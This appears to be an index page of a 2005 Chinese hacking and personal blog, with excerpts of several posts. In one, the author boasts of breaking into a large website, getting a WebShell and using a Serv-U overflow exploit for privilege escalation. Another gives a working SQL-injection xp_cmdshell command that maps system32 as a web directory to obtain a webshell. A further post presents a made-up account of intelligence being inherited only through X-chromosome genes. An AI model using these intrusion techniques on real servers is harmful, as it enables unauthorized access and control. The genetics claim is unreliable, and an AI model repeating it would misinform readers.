神話
作者:tank 日期:2005-12-19
桜色舞うころ
作者:tank 日期:2005-12-19
[私密日誌]
作者:tank 日期:2005-12-17
絕處逢生—Windwos 2003下的權限提升
作者:tank 日期:2005-12-13
絕處逢生——Windwos 2003下的權限提升
前幾天滲透了某大型網站,興奮中。拿到WebShell後,第一個念頭就是提升權限,把偶親愛的候門掛到系統里。熟練的打開CMD,輸入NET USER。
不是好兆頭,接著在WSCRIPT組件前打鉤,再次執行NET USER。
提示倒是換了,但是結果一樣。接著偶想到了上傳CMD.EXE,但是Windows 2003的上傳在默認時是有限制的,不能大於200K,於是我上傳了經典的Serv-U本地溢出程序,使用在Windows 2000下沒有禁用WSCRIPT時的無敵調用提權大法。
Tags: aspx
最簡單有效的提權方法的小技巧
作者:tank 日期:2005-12-13
再一次擁有
作者:tank 日期:2005-12-12
測試新的播放代碼
作者:tank 日期:2005-12-12
21世紀最具抄襲價值的創意
作者:tank 日期:2005-12-12
MAC地址完美攻略
作者:tank 日期:2005-12-12
決定智商的基因
作者:tank 日期:2005-12-12
決定智商的八對基因(還是八個?忘記了)全部都是位於X染色體上面,在此先複習男女性是如何來的?
男生是XY,X(卵)是來自母親,Y(精子)是來自父親。女生是XX,X(卵)是來自母親,X(精子)是來自父親。所以生男生女都是先生的錯,不要怪罪媽媽的肚皮不爭氣!!!!
請注意:男生是XY,所以男生的智商全部都是來自母親的遺傳,女生是XX,所以女生的智商是父親跟母親各有一半影響。因為女生的智商是父親母親都有影響,所以會有中和的效應。所以女生智商的分佈會呈現自然分佈(normal distribution),就是倒鍾狀,中間最多,兩邊較少。然後男生因為是完全只受一方影響,所以男生智商分佈會呈現在偏向在兩個極端。也就是說,男生天才比較多,但是同時,蠢材之中也是男生特別多。
這個故事告訴我們什麼?
SQL注入建立虛擬目錄,免得找Web絕對路徑!
作者:tank 日期:2005-12-12
SQL注入建立虛擬目錄,免得找Web絕對路徑!
我們很多情況下都遇到SQL注入可以列目錄和運行命令,但是卻很不容易找到web所在目錄,也就不好得到一個webshell,這一招不錯:
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虛擬目錄win,指向c:\winnt\system32
Tags: SQL
聽語專業的黑客觀
作者:tank 日期:2005-12-12
聽語專業的黑客觀
作者:Jedi
在媒體的報導中,黑客 (Hacker) 往往被當成是負面的字眼,用來指稱入侵或破解他人電腦系統的人,然而這一直是一種誤用:入侵或破解他人電腦系統的人其實應該被稱做鬼客 (Cracker) 。根據夾槓檔案 (The Jargon File) 裡的說法,黑客指的是「擅長於特殊領域、具有積極主動的研究精神,而且樂於助人」的人。
很重要的一點是,「黑客」一詞並不囿於資訊科學的範疇,不管是在甚麼領域,祇要某人符合上述的條件,那麼我們就可以稱她為「黑客」。於是可以有天文黑客、鋼琴黑客、化學黑客、社會學黑客、文化黑客、傳播黑客等等不同的可能性,當然也可以有聽力學黑客跟語言並理學黑客。
Tags: 黑客